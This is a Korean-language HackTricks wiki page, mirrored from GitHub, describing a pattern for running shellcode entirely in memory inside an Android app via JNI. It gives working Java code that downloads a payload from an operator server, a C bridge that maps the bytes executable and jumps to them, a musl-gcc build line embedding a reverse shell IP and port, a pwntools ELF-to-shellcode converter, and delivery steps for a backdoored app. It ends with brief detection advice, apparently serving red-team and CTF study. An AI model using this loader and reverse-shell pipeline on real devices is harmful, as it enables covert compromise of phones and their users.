mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
5.7 KiB
5.7 KiB
Android에서 JNI를 통한 In-Memory Native Code Execution (shellcode)
{{#include ../../banners/hacktricks-training.md}}
이 페이지는 untrusted Android 앱 프로세스에서 JNI를 사용해 네이티브 페이로드를 완전히 메모리 내에서 실행하는 실무 패턴을 문서화합니다. 이 흐름은 디스크에 네이티브 바이너리를 생성하지 않습니다: raw shellcode 바이트를 HTTP(S)로 다운로드하고, 이를 JNI 브리지로 전달한 다음 RX 메모리를 할당하고 점프합니다.
왜 중요한가
- 포렌식 아티팩트 감소 (디스크에 ELF 없음)
- ELF exploit binary에서 생성된 “stage-2” native payloads와 호환
- modern malware 및 red teams가 사용하는 tradecraft와 일치
High-level pattern
- Java/Kotlin에서 shellcode 바이트를 가져옴
- 바이트 배열을 인자로 native method (JNI)를 호출
- JNI 내부: RW 메모리 할당 → 바이트 복사 → mprotect로 RX로 변경 → entrypoint 호출
Minimal example
Java/Kotlin side
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}
// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);
C JNI 측 (arm64/amd64)
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}
JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;
// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;
jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }
memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);
int (*entry)(void) = (int (*)(void))buf;
int ret = entry();
// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}
참고 및 주의사항
- W^X/execmem: 최신 Android는 W^X를 적용합니다; 익명 PROT_EXEC 매핑은 JIT가 있는 앱 프로세스에 대해 (SELinux 정책에 따름) 일반적으로 여전히 허용됩니다. 일부 기기/ROM은 이를 제한할 수 있으므로, 필요 시 JIT-allocated exec pools 또는 native bridges로 대체하세요.
- Architectures: shellcode 아키텍처가 기기와 일치하는지 확인하세요(일반적으로 arm64-v8a; x86은 에뮬레이터에서만).
- Entrypoint contract: shellcode 진입 규약(인수 없음 vs 구조체 포인터)을 결정하세요. position-independent (PIC)로 유지하세요.
- Stability: 점프하기 전에 instruction cache를 지우세요; 캐시 불일치는 ARM에서 크래시를 일으킬 수 있습니다.
패키징: ELF → position‑independent shellcode 안정적인 운영 파이프라인은 다음과 같습니다:
- exploit을 musl-gcc로 static ELF로 빌드하세요
- ELF를 pwntools’ shellcraft.loader_append를 사용해 self‑loading shellcode blob으로 변환하세요
빌드
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
ELF를 raw shellcode로 변환 (amd64 예제)
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
왜 loader_append가 작동하는가: 이는 내장된 ELF 프로그램 세그먼트를 메모리에 매핑하고 그 entrypoint로 제어를 전달하는 작은 로더를 생성하여, 앱이 memcpy’ed하여 실행할 수 있는 단일 raw blob을 제공합니다.
Delivery
- 자신이 제어하는 HTTP(S) 서버에 sc를 호스트한다
- 백도어/테스트 앱이 sc를 다운로드하고 위에 나온 JNI 브리지를 호출한다
- 커널/유저 모드 페이로드가 생성하는 리버스 연결을 수신하기 위해 운영자 머신에서 대기한다
Validation workflow for kernel payloads
- 빠른 리버싱/오프셋 복구를 위해 symbolized vmlinux를 사용한다
- 가능하면 편리한 debug 이미지에서 primitives를 프로토타이핑하되, 항상 실제 Android 대상에서 재검증해야 한다 (kallsyms, KASLR slide, page-table layout, and mitigations differ)
Hardening/Detection (blue team)
- 가능한 경우 앱 도메인에서 anonymous PROT_EXEC을 금지한다 (SELinux policy)
- 엄격한 코드 무결성을 적용한다 (no dynamic native loading from network) 및 업데이트 채널을 검증한다
- RX로의 의심스러운 mmap/mprotect 전환 및 점프 전에 일어나는 대용량 바이트-배열 복사를 모니터링한다
References
- CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)
- build.sh (musl-gcc + pwntools pipeline)
- exp2sc.py (pwntools shellcraft.loader_append)
- exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)
- INSTRUCTIONS.md (setup notes)
{{#include ../../banners/hacktricks-training.md}}